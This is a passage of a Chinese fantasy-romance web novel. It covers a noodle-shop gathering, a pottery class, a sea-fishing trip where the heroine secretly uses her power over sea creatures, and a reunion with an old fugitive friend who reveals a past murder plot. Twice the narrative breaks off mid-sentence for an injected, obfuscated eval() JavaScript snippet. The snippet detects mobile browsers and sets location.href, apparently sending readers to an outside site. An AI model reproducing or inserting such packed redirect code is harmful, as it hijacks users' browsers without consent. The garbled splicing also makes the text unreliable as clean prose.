倒不是因为客人,而是一些意想不到的人似乎都没事做,出现在父母的面馆里。 齐绮和闻峰坐在一起,面前摆着一叠文件,两人谈着什么谈得很是起劲。 守旧者打扮的庾林在店里忙前忙后招呼生意,而来店里吃面的女生似乎比平时多了些,有人交头接耳,有人偷偷用手机拍庾林。 本应兼职打工的周予夏不知为何也在店里,正站在父亲身旁,一脸戒备地盯着庾林。 什么情况? 她就睡了一觉,这是还没睡醒,还在梦里? 周拾秋拍了拍脸颊,能感觉到疼。 恰好母亲从后厨走出,看见她正跟个傻子一样扇自己耳光,走过来给了她屁股一掌,让她到里面坐着别挡道。 周拾秋只好坐到齐绮身旁,只见齐绮和闻峰面前摆的全是花品资料。 “这么敬业?”周拾秋忍不住吐槽。 齐绮一脸兴奋地将一份清单递到周拾秋面前,激动道:“我算过了,在闻风花圃进货成本能更低些,而且上次看过,品质上乘,品种多样……” 齐绮一说起工作就跟打了鸡血似的,在周拾秋耳边巴拉巴拉说个没完,周拾秋本就因为补觉而昏昏沉沉,听了这些话,更觉脑子嗡嗡响。 周拾秋撅着嘴,对闻峰不客气地说道:“你别以为收买了我闺蜜,我就会跟你交往哦。” 话音刚落,齐绮和闻峰相视一笑。 闻峰:“我就说我到这儿来可能会引起误会吧。” 齐绮:“你相亲选错了时候,我这朋友,自从跟前男友分手后,就成了惊弓之鸟。” 闻峰:“可以理解。” 齐绮:“你别理解了,她就没看上你。” 闻峰:“上回就看出来了,你就别在伤口上撒盐了。” 齐绮:“爱情又不能当饭吃,还是生意比较重要。” 闻峰:“你这是要我孤独终老啊?” 两人你一言我一语,完全不把周拾秋当一回事,周拾秋一句话都插不上,简直不知道他们在说什么,干脆趴在桌上,头埋在胳膊里装睡。 不一会儿,一碗面放到她手边,她抬头便看见庾林在冲她笑。 一双筷子塞进她手里,庾林随口提醒:“导游小姐,吃完该开启下午的行程了。” “啧,啰嗦。” 周拾秋感觉庾林就像来催债的,忍不住低声骂了句。 庾林没管她,继续去招呼客人,周拾秋的目光却时刻紧追不舍。她实在服了庾林这不计后果的行为,也不怕直接昏死在面馆中。 庾林手上倒是戴着一副透明手套,脸上则是透明面罩。 在外人看来是注重卫生,在周拾秋看来是惜命。 周拾秋一边盯着,一边大口吃面,只觉得该赶紧解决完这碗面,然后将这个随时可能为面馆惹上麻烦的病人带离面馆。 正吃着面,忽然周予夏走到周拾秋身旁坐下,一脸疑惑地问她:“姐,那人什么情况?听爸妈说,他是个理想者。” “你问我干嘛,他不是给爸妈帮忙的吗?你该去问爸妈呀。”周拾秋只好装傻。 “爸妈说他来旅游的,开什么玩笑,你什么时候见过理想者吃饱了撑着没事做,跑到禁仿区来打工旅游?”周予夏低声质疑。 齐绮闻言忍俊不禁,说笑道:“估计路过看上你姐了。” 这话真假参半,周拾秋怒瞪了齐绮一眼。 周予夏一拳捶在手掌上,满心戒备地望向庾林,“我觉得也是。” 周拾秋有些无语,不太想理身旁这位略微神经质的弟弟,随口应道:“我就当你这句话是在夸你老姐有魅力。” 周予夏锐利的目光忽又转向闻峰,“听说我妈介绍你跟我姐相亲?你对我姐……” 话还没说完,闻峰就被吓得连咳几声,摆着手,赶紧澄清:“我已经出局了,没我啥事,我就来谈生意的而已。” 齐绮起身一掌拍在周予夏额头上,调侃道:“你这小屁孩,管得挺多嘛,怎么?怕你姐让人骗了?” 周拾秋忙将齐绮拉回位子上坐下,又心疼地帮弟弟揉揉额头,得意道:“我弟这是关心我,毕竟姐姐魅力太大了,常被人觊觎,弟弟担心也很正常。” 可惜下一秒,周予夏一脸委屈的回应,让周拾秋的笑容顿时僵在脸上。 “我是怕她病急乱投医,连喜欢不喜欢都分不清,随便答应与人交往不是害人嘛。” “啪——” 又是一个响亮的巴掌声,在周予夏额头上响起,这次动手的不是齐绮,而是周拾秋。 “倒霉孩子,胡说八道什么呢?”周拾秋低声骂道。 这一声响,吸引了店里所有的目光,母亲投来责备的目光,四人赶紧埋头,假装无事发生。 周予夏一脸委屈地抬起头,小声辩解:“你忘了大学时候信誓旦旦跟我讲你的三段感情史吗?” 周拾秋和齐绮大概已经知道周予夏要讲什么了,只有闻峰一脸好奇,秉持着听八卦的心态,坐好听讲。同样好奇的还有路过时恰好听见这句的庾林。 只见庾林从一旁挪了张凳子过来,坐下听起了故事。 周予夏瞥了一眼庾林,本想将人赶走,忽然觉得有必要给予警醒,便清了清嗓子,讲了下去: “我姐说有三段情史,她记忆犹新。一个是小学时总给她买糖吃的邻居哥哥,一个是初中送她情书的学长,还有一个高中在校门口堵她的小混混。” “感情史挺丰富嘛。”庾林听完评价。 周予夏不屑道:“不止呢!后来问我妈才知道,小时候谁给她买吃的她都说要嫁,根本没人当真。中学时没少收情书,她每封都回,内容全一样,同时几个人说是她男朋友,班主任直接请家长。还有堵校门那小混混,我问她干嘛要答应,她……” 说到这里,周予夏便闭了嘴,陡然想起有些东西不能往外说,便改口:“总之就是怕麻烦才答应的,哪里是喜欢?” 周予夏没说出来的事,周拾秋自然记得,当时她回答—— “妈不让我用异能,不想惹麻烦。” 这些周拾秋不是不记得,只是因为那三人最终都死于非命,她才开始怀疑自己其实在不知情的情况下,莫名喜欢上了对方。 此刻被弟弟当成了否认她感情的证据,她有冤也不好当场申诉。 周拾秋只好一边维持着假笑,一边在桌下掐周予夏的大腿,嘴上说:“小孩子懂什么,你今天不用兼职吗?” “老板提前一天放假了。”周予夏一边阻挡着她的手,一边解释,然后又转向庾林,一脸严肃地警告道,“你如果对我姐有想法,最好赶紧放弃,我爸妈不会同意我姐远嫁到自由区。” 其实周予夏说这话,周拾秋能理解,毕竟她有个特殊身份,父母总担心她会在他们看不见的地方惹出大麻烦。 周拾秋正想堵住周予夏胡说八道的嘴,然后让他滚去店里帮忙,结果就听庾林轻描淡写地回了一句:“没关系,我可以入赘。” “……” 在场四人全沉默了。 “哈哈哈,这位老板真幽默!” 周拾秋绝望地闭眼思考着自己究竟做了什么伤天害理的事情,只恨自己没一觉直接睡过去,怎么就选了这个时间到面馆来呢? 一番自省,周拾秋起身将庾林拉出了面馆,留下一句“到时间带游客去景点”的话,果断选择了逃避。 坐进庾林的车,远离了这条街,周拾秋才松了一口气。 “我觉得你弟说的挺有意思。”庾林挑起话题。 “哪里有意思了?”周拾秋翻了个白眼,不以为然。 “你确实分不清喜不喜欢,不是吗?” “那是现在,以前就算我分不清,还有诅咒可以辨别好吧。” “但我没听出你那三段感情有什么特殊之处。” “他们都死了。” “有没有一种可能,他们的死跟你其实没有任何关系?” “你在质疑我的诅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203013|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咒?” “算是吧,你又如何确定诅咒就是你想的这样呢?” “因为除了这件事,没有像诅咒的情况了……我总不能去找进研所,让他们帮我测试一下我的诅咒是什么吧?”周拾秋阴阳怪气地回道。 “有道理。”庾林没有与她争辩,话锋一转道,“还记得黎浩哲让我帮他定制仿生人的事吗?” 这件事周拾秋自然记得,当初也正是因为肖蕾的事,才让她产生远离庾林的想法。她估摸着庾林又看穿了她的心思,于是冷淡地点了点头。 庾林则告诉她,在来滨山区前,他因为黎浩哲的定制项目,专程走了一趟进研所。 大多数人定制的仿生人,采用的原型都是与自己有关系的已故之人,多数情况下不存在侵权行为。可黎浩哲定制仿生人的原型还活着,因此态宇理应事先获取当事人的许可。 正因如此,庾林去了进研所,与肖蕾进行了会面。 “她同意了吗?”周拾秋问。 庾林点了点头:“肖蕾并不介意。” 周拾秋听到这个回答有些震惊,如果将自己代入其中,她觉得自己肯定不会同意,又好奇问:“她还记得黎浩哲吗?” “记得,被进研所抓住的进化者,只是进行人格改造,并不改变记忆。”庾林简单解释着。 “那你还能看出肖蕾对黎浩哲的想法吗?”周拾秋带着些许期盼。 “很遗憾,看不出来,就像仿生人一样,眼中永远不带情绪,没有欲望,只是服从指令。” 庾林的回答终是让这份期望落了空。 周拾秋虽然明知结果会是如此,但心中还是略微失落,窝在座椅上叹了口气,故作轻松地调侃道:“你这位侦探出现的不是时候。” 庾林始终注视着前方,认真开着车,情绪并无波动,语气平淡地说:“后来我问肖蕾,还记不记得当初为什么要跟黎浩哲分手。” “他们所求不同这件事,她也应该记得住,你这么问的意义呢?” “应该是记得的,但她并没有这么回答。” “那她怎么说?” “她只说,因为她是进化者。” “没了?” “没了。” 肖蕾对于黎浩哲的感情,不管曾经是什么,现在都应该已经消失不见了。但记忆不会消失,那这种感情也应该会转化为记忆,储存在大脑之中。即便肖蕾现在不再理解这种感情,却也应该记得。 可对于两人的分手,留在肖蕾的记忆中的不是所求不同,而是因为她的身份。 周拾秋的脑海中倏然闪过一个想法,会不会肖蕾只是因为进化者的身份才和黎浩哲分手的呢? 而这层身份造成的阻隔,或许是出于保护。 肖蕾被抓,因为她与黎浩哲的关系过于隐秘,所以黎浩哲未被列入包庇者,甚至连调查都没有。 “对了,那位要以自己为原型定制仿生人的杨女士撤单了。”庾林突然了换了个话题。 周拾秋不明白他为什么突然提起另一个项目,只是茫然地点了点头,随口道:“哦,丢了一单生意,真可惜。” 庾林听完无声地笑了,“杨女士看了调查问卷,知道在他老公和孩子眼中,自己究竟是什么样,所以打消了定制仿生人的想法。感情这种东西本就模糊,没有感觉到,不代表一定不存在,不管是别人的,还是自己的,对吧?” 从他的话中,周拾秋隐约听出些意有所指,却跟猜谜语一样,令人不耐烦,“所以呢?” 庾林坦言:“所以,也许你弟没有说错,你只是分不清喜欢与否而已。” “哈?这件事不用你说,我也知道好吧!”周拾秋回怼。 “真没觉得你知道……”庾林轻笑,“我想说,也许你也喜欢我,只是你没发现而已。” 周拾秋被他一句话气笑了,终于忍不住,伸手揪住庾林脸颊,一边使着力,一边骂道:“庾木木,你脸皮怎么越来越厚了,谁喜欢你啊,我只看上你这副皮囊好吗?你这个人真的烦死了!” “看上我这件事你不否认了?” “啊啊啊——你能不能闭嘴!” “好好好,我闭嘴,你轻点,开车危险。” “还说!” “不说了,不说了。” “嗯?” “……” 106. 第106章 几乎是吵了一路,周拾秋甚至忘了问庾林打算带她去哪儿,等回过神时,车已经停靠在了一条陌生的街上。 在庾林的带领下,周拾秋走进了一间手工陶艺体验馆。 又不知道庾林何时预约了陶瓷制作体验项目。 店主热情地接待了二人,并表示今天是L463年最后一个营业日,而他们两人是最后一位客人。 店主简单讲解了陶瓷制作的流程,接着便从旁指导,让两人亲自上手,从拉坯成型到造型上釉,全由两人自由发挥。 玩泥巴解压的活动,周拾秋觉得挺有意思,制作时,不由得多了一丝比拼的兴致。 包括但不限于拉坯时比赛谁做的更圆润,造型时看谁更有创意,上釉后比较谁的审美更在线。 两人都有胜负欲,互不相让,暗中较劲,一旦发现自己做得不顺利,便想着法给对方使绊子,行为极其幼稚。 因此,一个小小的水杯,足足花费了5小时。 要不是店主按小时收费,估计都想将两人扫地出门了。 周拾秋以鲜花为装饰,庾林则是以水果为主题,最终成品其实丑得别具特色,但他们对自己的作品还算满意。 周拾秋看着加上杯盖跟石榴一样的杯子,嘴上嘲讽道:“设计总监不行啊,没有创造力,全是抄袭。” 庾林挑了挑眉,居高临下打量着那个里里外外都被鲜花占领的杯子,冷冷给出评语:“这是个花盆吧?” “啧,艺术品你不懂!”周拾秋回嘴。 两人斗嘴时,店主脸上堆着笑,温柔说明:“成品杯子最好是交换保存哦。” “凭啥?”周拾秋一脸嫌弃。 “本店规矩。” 店主根本不解释,只用四个字就堵住了周拾秋的嘴,然后告诉两人,杯子会送去烧制,加上跨年假日,大概六日后,也就是1月6日可来取货。 回到车上时,庾林说:“恭喜你,多了一个能用的水杯,不像我,多了个摆件。” 周拾秋斜眼看着庾林,一脸狐疑,冷笑道:“你选的这家店是不是又有什么都市传说,以此营销炒作?” 庾林嘴角的笑有些压不住,故意发动汽车,将注意力放到开车上,回答得看似漫不经心。 “导游小姐真敏锐,不愧是土生土长的当地人,会带来好运的礼物算吗?” “你是真吃这套啊……”周拾秋重重叹了口气,“接下来还有什么迷信的行程?” 庾林说:“自己动手的晚餐,迷信吗?” 这所谓的自己动手,还真就字面意思。 临近傍晚时,庾林带着周拾秋到了码头,坐上了租的游艇。 目标居然是海钓! 而且不钓到鱼,他们今晚的晚餐便没有着落。 于是船长迎着夕阳将船开向了大海。 好在这一天天气晴朗,海上风平浪静,船不算太颠簸,否则周拾秋真想直接一脚把庾林踹进海里。 开了大约二十分钟,船长将船停在了一片特定海域,然后拿出两副钓鱼装备,分发给周拾秋和庾林。 船长指了指一旁准备就绪的烧烤架,表示鱼一上钩,他便可为两人处理食材,进行烹饪。 “要比比看谁钓得多吗?” 庾林调整好鱼竿,挂上鱼饵,利落抛竿,一番操作看上去格外娴熟,脸上带着自信的笑容,向周拾秋邀战。 “好啊!”周拾秋不服输,淡定应战,嘴角露出意味深长的笑,“赌注是什么?” “你输了做我女朋友,我输了做你男朋友。”庾林答得理直气壮。 接着便受到了周拾秋的死亡凝视。 庾林只好苦笑道:“你想赌什么?让我滚回自由区的话就算了。” 周拾秋想了想,说:“输了的人做一顿饭吧,反正做饭对庾总监来说不是难事。” “对我的确不难,不过对你好像……” 庾林话只说了一半,另一半已经在他眼底的笑意中呼之欲出,他似乎十分肯定自己能赢下比赛,正替周拾秋感到难办。 周拾秋朝庾林腹部送上一记肘击,自信回道:“你还是考虑一下菜单吧,这比赛我必不可能输。” “这么肯定?” “那是!” 一个从未钓过鱼的外行,若敢如她这般大言不惭,结果可想而知,必定输得很惨。 然而她是周拾秋,很快就让庾林见识了什么叫“不可能输”。 两人隔着一臂距离在同一侧垂钓,庾林眼看着周拾秋连抛竿都不利索,正笑她输了别赖皮,叫外卖可不算做饭。 话还没说完,周拾秋那边就已经有鱼咬钩了。不一会儿,一条鱼被周拾秋拉上了船。 “怎么会……” 庾林扶着船身往海面看,有些不信周拾秋运气这么好,一晃眼,水面下刚聚集过来的鱼一哄而散。 他收杆看了一眼,鱼饵丝毫未减。 “嘿嘿,海里的鱼也挑食,大概我的鱼饵比你的香吧,别嫉妒哦。”周拾秋难掩满脸得意。 将鱼扔进箱子里,周拾秋又一次抛竿。 这次庾林看得清楚,周拾秋连鱼饵都忘记挂了,他笑着提醒她收杆重来。 周拾秋虽一脸不在意,但还是顺从地收了杆,只是鱼钩离开海面时,上面还挂着一只活蹦乱跳的龙虾,一只钳子缠着鱼线,一只钳子在空中挥舞。 庾林顿时傻了眼,就是再迟钝,也该明白周拾秋作弊了。 他放下鱼竿,一脸无奈,一边帮周拾秋抓那只比脸还大的龙虾,一边低声说:“出了海,就不怕事了?” 见计划暴露,周拾秋也不装了,冲庾林做着鬼脸,“还要跟我打赌吗?进研所的手可没那么长。” 至此,已可宣布这场不公平的比赛,将以庾林的完败收尾。 庾林不死心,再次抛竿,蹲守了二十分钟,却没有一条鱼咬饵,扶着船舷往下看,可看见大鱼小鱼都在周拾秋下杆的地方排队。 周拾秋还在一旁落井下石地指挥:“好孩子不许吃他的饵哦!” 箱子里的食材越来越丰富,周拾秋简直就跟招呼登门拜访的朋友一般,放下鱼线,一位接着一位,放它们上船。 庾林被气得没了脾气,主动认输,求周拾秋别再捣乱,好歹让他钓一只鱼。 “你想钓什么鱼?”周拾秋一脸和善地问。 “看导游小姐想吃什么。”庾林答。 周拾秋瞥了一眼箱子,笑道:“导游小姐觉得还差一只螃蟹。” 说话间,眼中又隐隐浮出金色的波纹,下一秒,庾林就感觉有什么咬了钩,收杆将海货拖出海面。 不是螃蟹又是什么呢? 正在这时,身后传来脚步声,庾林抬手便捂住了周拾秋的眼睛,原本吊在半空中的螃蟹突然回过神,松了钳子,噗通一声落回了海里。 “嚯!那么大的螃蟹都能钓到?可惜跑咯。” 船长的声音伴随着脚步声来到两人身后,低头发现箱子被装了大半,鱼、虾、螺、扇贝等,不重样,惊得合不拢嘴,“哇……什么高手,怎么钓上来的……” “呵,运气。” 庾林实在找不到敷衍的话了,放开捂住周拾秋眼睛的手,一把拿过两副鱼竿,递还给船长,岔开话题,“差不多够吃了,天挺冷的,不钓了。” 匆忙结束钓鱼,庾林抬起箱子,催促船长去料理食材。 周拾秋玩得意犹未尽,不过明白庾林担心船长起疑,便收敛了异能,安静地坐到了用餐区,等待美食上桌。 有船长和庾林张罗,周拾秋只负责吃喝,全是最新鲜的食材,简单烹饪后,味道就不输有名的餐厅了,这一顿周拾秋十分满意。 当然,最重要的是赢了庾林。 似乎在远离陆地的海上漂着,可以暂时遗忘许多烦心事,什么身份差异,什么心中顾虑,通通抛在脑后。吹吹海风,看夜幕降临,月光在海面洒下一片波光粼粼,随海浪沉浮,无需思考。 一顿饭吃完,游艇却没有返航的打算。 周拾秋正疑惑时,船长看了看时间告诉两人:“一般入夜后,运气好可以在这片海域看到海上奇观,再等半个小时吧,如果还没出现,应该就是今日无缘了。” “嗯。” 庾林点了点头,心领神会,然后带着周拾秋走向船尾。 倚靠着船舷,周拾秋有种习以为常的淡然,“这次又是什么迷信传说?” 庾林在她身旁微微俯下身,两条手臂搭在船舷上,向海面张望,“这次不算迷信,是真的凭运气,连钱都解决不了。” “又是啥?”周拾秋不禁好奇,学着他的样子向下望。 “听说这片海域栖息着发光生物,运气好的话,能看到它们上浮,照亮整片海域,被称作海上奇观。”庾林简单解释。 周拾秋听罢,毫不意外,一边点着头,一边问:“如果看到了能怎样?广告怎么宣传的?” 庾林如实答道:“好运一整年。” 周拾秋眯眼笑道:“还说不算迷信?” 庾林反驳:“能看到不常出现的景色,还不算运气好吗?” 周拾秋想了想,嘴角露出一丝狡黠的笑,朝庾林伸出手,说:“一百,让你买到这份运气,要吗?” “运气这么廉价?”庾林苦笑不得。 “不要算了。”周拾秋作势要走。 庾林伸手拉住了她,“没说不要,只是觉得,导游小姐居然没趁机敲诈一笔,跟你平时风格不符。” “在你眼里我都啥形象……哼,就当年末最后一天营业,给你的优惠吧。” 周拾秋说话间,金色波纹已经从瞳中扩散开来,当庾林反应过来时,整片海域微微亮了起来。 暗流涌动的水面下,隐约有不少生物在游动。 这片海域中究竟有哪些发光生物,能形成何种海上奇观,周拾秋一律不知。因此她能做的是控制这片海域所有生物上浮。 这事耗费异能不少,可要问周拾秋这么做值不值,她只觉畅快。 不用顾虑太多,任性妄为一次,何等惬意? 当整片海域亮起梦幻的蓝光,在海面下移动变换,周拾秋似乎也能理解,为何世人将见到此景称为好运。 大概商业营销也有其浪漫的一面。 就算这海上奇观是周拾秋自己操控的,她依然为看到这一幕而心生喜悦,欢呼不已。 船长循光而出,看着有些离谱的海中狂欢,瞠目结舌,不由得感叹,二人是这一年里最幸运的人,来年也一定好运相伴。 周拾秋和庾林相视一笑,并未言语,此刻将这场作弊当作上天眷顾也未尝不可,至少不扫兴。 几分钟后,狂欢散场,光亮褪去,船长心满意足开船返航。 周拾秋站在船尾,意犹未尽。 与她并排站在一起的庾林突然开了口:“到里面坐会儿,外面冷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15221007|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,别感冒了。” 海风在耳边呼啸,船身掀起浪花,虽带来畅快,但也同时让寒冷愈演愈烈,可周拾秋依然固执地享受这短暂的宁静。 “不冷!”周拾秋将冰冷的指尖藏进袖口,吸了吸鼻子,迎着风甩甩头,将被海风吹乱的头发从脸上甩到脑后,倔强地回应。 庾林一脸无可奈何,笑着摇了摇头,陪她站在风里,没再劝说。 几分钟后,周拾秋就有些后悔这个草率的决定。 没有阳光供能的海上是真的冷,疯狂从她身上剥夺着体温,肆虐的海风好像无孔不入,原本还享受着夜晚宁静与惬意的周拾秋,逐渐蜷缩起身子。 她偷偷瞥了一眼身旁的庾林,笑容有些僵硬,一时觉得反悔有些丢脸,便装模作样对庾林说:“你要是冷就先进舱里,别感冒了,还要我代你受罪。” 庾林静静注视,眼神如夜幕下的海面一般沉静,微微勾起唇角,摇着头说:“我不冷,导游小姐冷了?” “哈哈哈,哪里冷了,我可太喜欢吹风了。” 周拾秋深刻体会到什么叫死要面子活受罪,当她嘴下意识说出这句话时,她简直想抽自己两巴掌。 死嘴,让你硬! “哦,我也喜欢吹风,可以陪你。”庾林轻松回道。 陪什么陪啊,你不回船舱,我怎么找理由回去! 周拾秋表面微笑着迎风而立,心里高声指责,咬着牙死撑,只希望这风能将庾林刮回舱里。 不知是不是海风听到了周拾秋的祈祷,又强了几分,而她身旁的庾林也终于挪动了脚步。 周拾秋正悄悄用余光关注着庾林一举一动,心中预演着接下来的剧情:庾林只要靠近舱门,她就跟上去,推着庾林一起进去,就当自己担心委托人的身体健康,勉为其难陪他回舱里暖暖身子。 计划已经在心里打好草稿,可庾林并未走向舱门,转而到了她身后。 当她正疑惑时,庾林缓缓从身后抱住了她。 与其说是拥抱,不如说是抱团取暖,因为庾林拉开外套衣襟,将周拾秋整个人包裹进去,双手环住周拾秋,宽大的外套挡住了所有海风。 外套下的体温驱散了周拾秋浑身的寒气,她有些茫然地窝在庾林的怀抱中,后背与胸膛贴合,感到一阵短促的震动。 庾林轻笑出声:“导游小姐好像又忘了我能看到你在想什么。” “我想啥了,你别乱说……” 周拾秋一时不知庾林又看穿了她什么想法,顿时慌了神,想要挣脱出去。 可庾林并未松手,将禁锢的牢笼往里略微收紧,犹如想要汲取热量,低声请求道: “我有些冷,但又觉得不在这里欣赏夜景可惜,导游小姐不能陪我一会儿吗?” 显然,庾林是真看穿了她的想法,却没有拆穿。 周拾秋停住了挣扎的动作,看着前方,微微红了脸,轻咳一声,“嗐,真拿你没办法,那我就勉为其难陪你吧。” “好,多谢导游小姐体恤。” 庾林给的台阶她很受用,庾林的有意接近她也不反感,两人各自怀揣着小心思,将这场戏一演到底,相互依偎着结束最后一段无所顾忌的旅程。 周拾秋不禁觉得,与庾林在一起似乎不算一件坏事,至少夜晚的大海没那么寒冷了。 大约二十分钟后,两人重回陆地,坐上了回家的车。 一路无言,直到抵达目的地,周拾秋准备下车时,才咬了咬唇开口道:“你明知我的想法,也不介意吗?就像船上那样,我大概只是想借你取暖,你不觉得不公平吗?” 庾林一脸认真地注视着她,反问:“你会随便借别人取暖吗?” 周拾秋仔细思索后,感觉有些被冒犯,瘪嘴回道:“我也不是那么随便的人。” 话音刚落,一只手轻轻掐住了她的脸颊,随即庾林一脸温柔的笑映入她眼帘,似乎对于她的答案还算满意。 “那我不会介意,你想怎么样都可以,就是别逃。”他声音低沉地说道。 “哦……” 周拾秋不予评价,只是从喉咙里挤出一个音,感觉脸颊传来轻柔的触感,有些痒,又微微发烫,她慌忙拍开庾林的手,下了车。 砰的一声关上门,周拾秋又转身敲了敲车窗。 只见眼前的车窗缓缓降下,而庾林歪着头,一脸好奇地望着她,她故作轻松地留下一句话: “钓鱼你输了,还欠我一顿饭,明天来我家做饭。” 说完也不等庾林回话,便急冲冲地转身离开。 庾林回过神,将头探出窗外,冲着周拾秋的背影问:“我该以什么身份去?游客?委托人?老板?干爹?还是男朋友?” 夜晚的街道没什么人,安静得能听见脚步声,于是这句话格外清晰,吓得周拾秋浑身一激灵,环顾四周,唯恐让人听了去。 再回过头,周拾秋脸上泛着一丝红晕,带上几分愠色,怒瞪了庾林一眼,跺着脚回了两个字:“厨子!”接着便头也不回地逃离了现场。 留下庾林一人,一脸宠溺地笑着,看她身影渐渐消失在夜色里,嘴里轻哼出“也行”两个字,仿佛说给自己听。 周拾秋快速往小区跑去,却在楼下被一个声音叫住,那声音很陌生,她驻足转身,循着声音望去,只见一个陌生人从阴影中走出来。 可那人浑身散发出的异能气息让周拾秋瞬间起了一层鸡皮疙瘩。 “百泉?” 107. 第107章 面前站着一个陌生女人,从阴暗处逐渐走到光亮处,脸上带着久别重逢的微笑,冲周拾秋挥了挥手,声音同样陌生,“嗨,小秋,好久不见!” 周拾秋不知道自己是何种感觉,或许有见到老朋友的惊喜,却也有危险逼近的恐惧。 她们没有在大楼门口停留太久,百泉带着周拾秋离开了小区,沉默着在小巷子里绕了好一会儿,步入一栋废弃待拆的大楼。 大楼里破败不堪,内部早已搬空,没留下什么东西,显得十分空荡,到处积满灰尘,还挂了不少蜘蛛网。 百泉慢悠悠地上了楼,停在了三楼某间房中。从这里即可观察大楼入口的动静,又可留意到楼梯口的情况,似乎确认好一切尽在掌控中后,她才安下心来,同周拾秋寒暄起来。 “我还担心你已经把我忘了。”百泉看似随意地搭话。 这句话落入周拾秋耳中,却有一种莫名的心惊,插在衣兜里的手不由得攥紧,想要强挤出一个笑,嘴角只是不可控制地抽动,“你过得怎么样?” 周拾秋心里其实很想问她这些年到底在做什么,可话到嘴边终究是变了型,大概这种问话在她自己听来,好像是在怀疑对方做了什么不好的事,如同质问一样。 百泉并没有看出她过多的想法,安慰一般回道:“放心,我很好,当初被通缉,我并不认为是你的错,你不必放在心上。” 突如其来的安慰,让周拾秋心生愧疚,在她心生怀疑时,这位多年不见的朋友却只是害怕她会自责多想。 听到这里,周拾秋哪里还好意思怀疑对方,带着些许惭愧与怀念,柔声道:“你怎么突然想起来找我了?我以为你早离开凌沪,不会再回来了。” 百泉的声音和样子虽然完全变了,可面对周拾秋时,脸上露出的笑容,依然像五年前那般温暖。 “我也没想到会以这种方式再遇见你。”百泉脸上露出一丝说不清道不明的愁绪,“不久前我想找你来着,可去你原来住的地方,发现你全家都搬走了。” “哦,半年前家里发生了点事。”周拾秋随口回了句,并不打算细讲这部分故事,转而询问,“泉姐姐找我,是有什么事需要我帮忙吗?还是单纯想我了?” 说这句话时,周拾秋感觉又回到五年前,两人的友谊似乎并没有被时间冲淡,只要是能做到的事,她并不介意帮老朋友一把。 “嗯,可以算帮我,但也不止帮我一人。” 百泉的回答让人有些听不懂,周拾秋困惑地望着她。 然而百泉并没有继续讲下去,反而慢悠悠地走到窗边,看着窗外街景,漫不经心地转了话题:“刚才送你回来的人,跟你是什么关系?” 周拾秋猛地心头一紧,下意识地思索着百泉为何会提到庾林。 只是恰好撞见了,所以心生好奇? 还是百泉认识庾林? 她不敢再往深处思索下去,否则她害怕自己又会恶意揣测百泉的用意,这么做好像背刺了好友一般,让她心生愧疚之意。 “哦……他……就是来滨山区旅游的游客,花钱找我当导游。”思来想去,周拾秋只能给出了这种不痛不痒的答案。 “从自由区到这儿旅游?我怎么看他好像在追你?”百泉脸上浮现出意味深长的笑容。 周拾秋心里咯噔一下,显然方才庾林说的话让百泉听了去,心里慌得不行,表面却还要故作镇定,大脑飞速运转,最后给了个荒唐的回应:“呵呵,是吗?喜欢我的人太多了,我都没有注意到。” 她自己也不知道为何要对百泉隐瞒她与庾林的关系,一切都只是下意识行为,等意识到时,话已经说出口。 大概,她还是很在意那两次觉察到百泉异能气息的事。 虽然很愧疚,但又放不下,复杂而纠结的情绪始终盘踞在心里。 百泉面色突然冷了下来,月光透过满是灰尘的玻璃照在她脸上,那张脸渐渐起了变化,一点一点恢复成周拾秋熟悉的模样,连带着声音也改变成耳熟的状态。 “你知道他是谁吧?一个理想者,广臾集团的少爷,五年前害你我陷入进研所追捕的罪魁祸首。”百泉毫不掩饰浑身的怒气。 周拾秋在坦白和隐瞒之间纠结了片刻,终是装出了无知而震惊的神情,“怎么可能?!五年前那个男人不是死了吗?当时他也是受害者吧……怎么会是罪魁祸首呢?” 说话间,周拾秋将双手悄悄背到身后,推着手环往袖子里藏了藏。 “傻孩子,这么久你还没弄清当年究竟是怎么回事吗?” 百泉露出一脸心疼的样子,一步步走到周拾秋面前,抬手摸了摸周拾秋的脸,收敛起怒意,向周拾秋释放着善意。 在周拾秋装傻充愣的伪装下,百泉没有产生疑心,反而透露了不少消息。 原来在百泉消失的这五年里,她一直在调查当年那件事,并且弄清了周拾秋至今不明白的部分情况。 当年周拾秋和百泉之所以会被进研所盯上,完全是因为她们陷入了庾万松设的局。 当然,谁也没料到,走入这场局的危代人会是进化者,并因此破坏了他们原本的计划。 五年前,庾万松替儿子庾林签下了私危协议和生命协议,然而这个协议的受益人并不是庾林本人,而是当时身为庾家保姆的张婶。 他们原本的计划是张婶引诱庾林出门,然后让提前埋伏的绑匪绑走庾林,张婶再杀掉绑匪,放火烧毁一切罪证,连同她自己。 当然,放火只是金蝉脱壳的一环,而参与这一环的就是倒霉的协议危代人。 按照计划,当协议危代人因紧急委托进入张婶身体后,瑞波恩科技会将原本进入虚拟度假村的张婶意识传送至协议危代人身体,如此一来,就完成了委托人的改头换面和生命延续。 名义上的委托人庾林会死在大火里,而替代了危代人的张婶会获得一大笔遗产。 一场以杀掉庾林为目的的偷天换日阴谋就此完美实施。 一切本该如此,可周拾秋的出现让计划出现了变数。 该死的人并没有死,而本该换个身份活着的人却死了,并且这场绑架案引起了警方与进研所的注意。 最终无奈之下,夜白鹭成了这起凶杀案的替罪羔羊。 